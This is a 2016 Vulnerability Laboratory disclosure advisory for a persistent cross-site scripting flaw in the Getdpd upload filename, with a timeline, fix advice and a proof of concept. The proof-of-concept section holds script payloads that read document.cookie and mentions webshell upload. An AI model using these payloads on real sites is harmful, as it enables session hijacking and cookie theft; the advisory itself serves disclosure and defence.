Getdpd BB #5 - Persistent Filename Vulnerability

Type vulnerlab
Reporter Vulnerability Laboratory [Research Team] - Hadji Samir [] [] (
Modified 2016-02-05T00:00:00


                                            Document Title:
Getdpd BB #5 - Persistent Filename Vulnerability

References (Source):

ID: #14773

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
DPD is an all-in-one shopping cart and digital fulfillment service for downloadable products. Serving thousands of stores, DPD processes and 
delivers millions worth of downloads each year.

(Copy of the Vendor Homepage: )

Abstract Advisory Information:
The Vulnerability Laboratory Research team discovered an application-side input validation web vulnerability in the official Getpdp online service web-application.

Vulnerability Disclosure Timeline:
2015-08-09: Researcher Notification & Coordination (Hadji Samir)
2015-08-10: Vendor Notification (Getdpd Security Team - Bug Bounty Program)
2015-09-07: Vendor Response/Feedback (Getdpd Security Team - Bug Bounty Program)
2016-01-22: Vendor Fix/Patch (Getdpd Developer Team)
2016-02-05: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):

Exploitation Technique:

Severity Level:

Technical Details & Description:
An application-side cross site scripting web vulnerability has been discovered in the official Getdpd online service web-application.
The security vulnerability allows remote attackers to inject own script code on the application-side of the affected application module.

The vulnerability is located in the filename value of the attachment file upload module. Remote attackers with low privilege web-application 
user accounts are able to inject own malicious script code via POST method request on the application-side. The injection point is the vulnerable 
filename parameter in the upload POST method request and the execution point is located in attachment file listing module. The request method to 
inject is POST and the vulnerability is located on the application-side of the vulnerable online-service.

The security risk of the application-side cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.2. 
Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low or medium user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source 
and persistent manipulation of affected or connected application modules.

Request Method(s):
						[+] POST

Vulnerable Service(s):
Vulnerable Module(s):
						[+] File Upload - Attachment
Vulnerable Parameter(s):
						[+] filename

Proof of Concept (PoC):
The security vulnerability can be exploited by remote attackers with low privilege web-application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1- Go
2- Click Add content
3- Upload vile in Attached Files upload file with name <iframe src="x" onload="alert(document.cookie)">.png
4- Watch the file attachment listing for execution or to share!
5- Successful reproduce of the security vulnerability!

Note: The issue allows to bypass the file type validation which can also result in arbitrary file upload of webshells to takeover the full web-server.
We mention this to ensure you get the full attack vector right now.

--- PoC Session Logs [POST] ---
13:18:08.707[479ms][total 479ms] 
Status: 302[Found]
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Content Size[102] Mime Type[text/html]
   Request Headers:
      User-Agent[Mozilla/5.0 (X11; Linux i686; rv:39.0) Gecko/20100101 Firefox/39.0]
      Accept-Encoding[gzip, deflate]
      Cookie[_src=; _ga=GA1.2.163063198.1438880403; __zlcmid=W5erEG66rmgkKt; referrer=javascript:alert(1);; symfony=4fk57k07c4c3blm6piak6rrk01; _csrf_token=5dd0e8de2f12cbf4cfdddb7af46239126a7861de; _gat=1]
Post Data:
Content-Disposition: form-data; name="_csrf_token"
Content-Disposition: form-data; name="id"
Content-Disposition: form-data; name="title"
Content-Disposition: form-data; name="content"
Content-Disposition: form-data; name="excerpt_text"
Content-Disposition: form-data; name="synopsis"
Content-Disposition: form-data; name="upload_file[0][src]"
Content-Disposition: form-data; name="upload_file[0][name]"

Content-Disposition: form-data; name="status"
Content-Disposition: form-data; name="publish-type"
Content-Disposition: form-data; name="published_at"
Aug 10, 2015 8:21am
Content-Disposition: form-data; name="publish_after_days"
Content-Disposition: form-data; name="send_publish_email"
Content-Disposition: form-data; name="send_publish_email"
Content-Disposition: form-data; name="image_file"; filename=">"<script>alert(document.cookie)</script><div style="1"     [PERSISTENT INJECTED PAYLOAD TO FILENAME VALUE!]
Content-Type: application/octet-stream
Response Headers:
      Date[Mon, 10 Aug 2015 12:21:34 GMT]
      Expires[Thu, 19 Nov 1981 08:52:00 GMT]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
      Set-Cookie[_csrf_token=5dd0e8de2f12cbf4cfdddb7af46239126a7861de; path=/; secure]
      P3p[CP="NOI CURa OUR NOR UNI"]

PoC: Source - Attached Files List
      <fieldset><legend>Attached Files</legend></fieldset>
            <th>Available for Trials</th>
            <th>RSS Enclosure</th>
        <tbody id="filelist">
<tr class="new-unsaved-file">              <td>                
<input name="upload_file[0][src]" value="o_19sbkc6in15vt3vls4n13lakue7.png" id="target_o_19sbkc6in15vt3vls4n13lakue7" type="hidden">                
<input name="upload_file[0][name]" value="" type="hidden">
<iframe src="./Edit Content   DPD Shopping Cart_files/x.html" onload="alert(document.cookie)"> .png" />                
<input type="text"   name="upload_file[0][friendly_name]" value=""><iframe src=x onload=alert(document.cookie)> .png" />                
<span id="o_19sbkc6in15vt3vls4n13lakue7">(5 kb) <b></b>              </td>              
<td><input type="checkbox" name="upload_file[0][trial]" value="1" checked="checked" /></td>              
<td><input type="checkbox" name="upload_file[0][rss_enclosure]" value="1" /></td>              
<td><input type="checkbox" name="upload_file[0][remove]"></td>            
      <div style="position: relative;">
        <a id="pickfiles" class="btn btn-small" href="" style="position: relative; 
z-index: 1;"><i class="icon-plus"></i> Upload File</a>      <div id="html5_19sbkbuae137b178p176219lf9353_container" 
class="moxie-shim moxie-shim-html5" style="position: absolute; top: 0px; left: 0px; width: 104px; height: 26px; overflow: 
hidden; z-index: 0;"><input id="html5_19sbkbuae137b178p176219lf9353" style="font-size: 999px; opacity: 0; position: absolute; 
top: 0px; left: 0px; width: 100%; height: 100%;" accept="" type="file"></div></div>
      <p class="muted">
        <i class="fa fa-exclamation-circle"></i> The RSS spec recommends that you only choose one file per post to be included.


Solution - Fix & Patch:
The vulnerability can be patched by a secure parse and encode of the vulnerable filename value in the upload POST method request. Restrict the input and disallow usage of special chars.
Filter and setup a secure exception handling that prevents the persistent execution in the output location were the file attachment list becomes visible. 
Disallow usage of multiple filename as extension to prevent arbitrary file upload of webshells. Secure the type of file to secure the mechanism by manual interaction. 

Security Risk:
The security risk of application-side input validation web vulnerability in the frontend of the getdpd web-application is estimated as medium. (CVSS 4.2)

Credits & Authors:
Vulnerability Laboratory [Research Team] - Hadji Samir [] [] (

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either 
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers 
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even 
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation 
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break 
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:   	-			       		-
Contact: 	- 	       		-
Section:	 	- 		       		-
Social:!/vuln_lab 		- 	       		-
Feeds:	-   		-
Programs:  	-	-

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
( or to get a permission.

				Copyright © 2016 | Vulnerability Laboratory [Evolution Security]